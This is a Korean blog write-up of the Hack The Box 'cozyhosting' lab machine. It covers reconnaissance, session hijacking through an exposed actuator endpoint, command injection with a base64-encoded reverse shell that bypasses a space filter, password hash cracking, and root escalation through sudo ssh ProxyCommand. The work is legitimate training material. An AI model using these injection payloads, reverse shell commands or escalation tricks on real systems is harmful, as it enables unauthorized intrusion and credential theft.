Oh! JUN

[Hack The Box] cozyhosting 본문

문제풀이/Hack The Box

[Hack The Box] cozyhosting

Kwon Oh! JUN 2024. 2. 13. 00:56

 


1. 정보 수집

1.1. nmap을 활용한 스캔

nmap -sV 10.10.11.230 -T5

IP Address Ports Open
10.10.11.230 TCP: 22, 80

 


 

dirsearch -u http://cozyhosting.htb/

dirsearch 도구를 사용해서 웹 사이트에 존재하는 여러가지 디렉터리를 찾았고 그 중  '/actuator/sessions' 디렉터리를 확인해볼것이다. 


sudo mousepad /etc/hosts

'/actuator/sessions' 디렉터리를 확인하기전에 10.10.11.230(공격대상)을 cozyhosting.htb로 매핑해줘야 웹 브라우저를 통해 접근이 가능하다.


2. 초기 접근

2.1. 세션 탈취

http://cozyhosting.htb/actuator/sessions

'/actuator/sessions' 디렉터리에 접근하면 세션 값을 확인할 수 있고 밑에서 해당 세션을 통해 로그인을 시도할 것이다.


2.2. Command Injection

Cookie: JSESSIONID=EEFD4DB0661F959332F0F8EF0EEBEF14

'burp suite'도구를 사용해서 로그인 페이지를 캡쳐하고 JSESSIONID를 'kanderson'의 SESSIONID로 설정해주면 된다.(SESSIONID는 변경되므로 위의 이미지와 무관하다.)


http://cozyhosting.htb/admin

해당 계정의 Dashboard로 이동하면서 로그인을 성공한것을 확인할 수 있다. 다음으로 Connection Settings의 input(Hostname, Username)을 확인해 볼 것이다. 


host=127.0.0.1&username='

해당 메시지는 bash 셸 스크립트에서 종료되지 않은 따옴표(') 때문에 발생하는 문제를 나타냅니다. 즉 command injection이 발생할 수 있음을 알 수 있다.


host=127.0.0.1&username=echo+"bash+-i+>%26+/dev/tcp/10.10.14.63/9001+0>%261"+|+bash

'echo "bash -i >& /dev/tcp/10.10.14.63/9001 0>&1" | base'  명령어는 '리버스 셸(reverse shell)'을 생성하는 bash 명령어다. 이 명령어를 실행하면, 현재 시스템에서 새로운 bash 셸이 생성되고, 이 셸의 입력과 출력이 10.10.14.639001 포트로 리디렉션된다.

 

해당 명령어의 결과로는 빈공간(space)를 필터링하고 있음을 알 수 있다.


echo "bash -i >& /dev/tcp/10.10.14.63/9001 0>&1" | base64 -w 0

"bash -i >& /dev/tcp/10.10.14.63/9001 0>&1" 명령어를 base64로 인코딩한다.


;echo${IFS%??}"<reverse shell payload>"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
;echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42My85MDAxIDA+JjEK"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;

 

base64 인코딩된 reverse shell payload를 '| base64 -d' 디코딩 시키고,  '| bash' 쉘로 실행시킨다.


nc -lvp 9001

이때, reverse 시킬 IP의 포트를 열어줘야 한다. 해당 IP 주소는 공격자의 IP의  포트다.


ls -alh

'id' 현재 권한은 일반 사용자 권한이다. root 권한으로 상승하기위한 방법을 찾아봐야 한다. cloudhosting-0.0.1.jar 자바 파일 포맷이 힌트가 될 것으로 에측있다.


 

2.3 cloudhosting-0.0.1.jar 분석

python3 -m http.server 4321

http.server의 4321 포트를 열어서 공격자(kali)에서 해당 .jar 파일을 다운받고 분석할 것이다.


wget http://10.10.11.230:4321/cloudhosting-0.0.1.jar

공격자(kail)에서 .jar 파일을 다운받는다.


jd-gui cloudhosting-0.0.1.jar

'jd-gui'는 .jar 파일을 분석할 수 있는 도구이다. 'application.properties' 는 일반적으로 스프링 부트(Spring Boot)와 같은 Java 기반 애플리케이션에서 사용하는 설정 파일이다. 해당 파일에서 DB(postgres)정보를 알 수 있었고 DB에 접속할것이다.


psql -h 127.0.0.1 -U postgres

reverse shell로 연결되어 있는 공격 대상에서 psql 접속한다.


\d

'/d'는현재 데이터베이스에 있는 모든 테이블, 뷰, 시퀀스, 인덱스 등의 목록을 조회한다.


select * from users;

'users' 테이블의 모든 정보를 조회했는데 hash된 패스워드를 확인할 수 있다.


2.4. Hash PW Crack

sudo mousepad hashes.txt

패스워드를 hashes.txt 파일에 복사 붙여넣기한다.


john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
cat ~/.john/john.pot

'john' 도구를 사용해서 'hashes.txt'에 hash된 패스워드를 크래킹할 수 있다. 해당 이미지는 사전에 크랙하여 남아있는 패스워드가 없어서 출력되는 메시지이다. 


ls -al /home

'/home' 디렉토리는 일반 사용자 계정의 홈 디렉터리를 저장하기 위한 장소로 사용된다. 'josh' 계정을 확인할 수 있다.


su josh

'josh' 계정으로 변경해볼것이다. 사용되는 패스워드는 'john'도구를 사용해서 크래킹한 패스워드이다.


python3 -c 'import pty;pty.spawn("/bin/bash")'

Python을 사용하여 새로운 bash 셸을 생성하는 명령어이다.


'user.txt' 파일을 확인해보니 해당 flag를 확인할 수 있다.


3. 권한 상승

3.1. SSH을 통한 권한 상승

sudo -l

현재 사용자가 sudo 명령어를 사용하여 실행할 수 있는 명령어 목록을 보여준다.


 

ssh | GTFOBins

Spawn interactive shell on client, requires a successful connection towards host. ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host

gtfobins.github.io

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

ssh에서 sudo 권한으로 새로운 셸을 획득하여 시스템에서 권한 상승을 할수 있다.


find / -name "root.txt" 2>/dev/null

'root.txt' flag 정보를 마지막으로 확인할 수 있다.

'문제풀이 > Hack The Box' 카테고리의 다른 글

[Hack The Box] bizness  (0) 2024.02.19
[Hack The Box] codify  (0) 2024.02.16
[Hack The Box] analytics  (0) 2024.02.14
[Hack The Box] devvortex  (0) 2024.02.14
[Hack The Box] Keeper  (1) 2024.02.08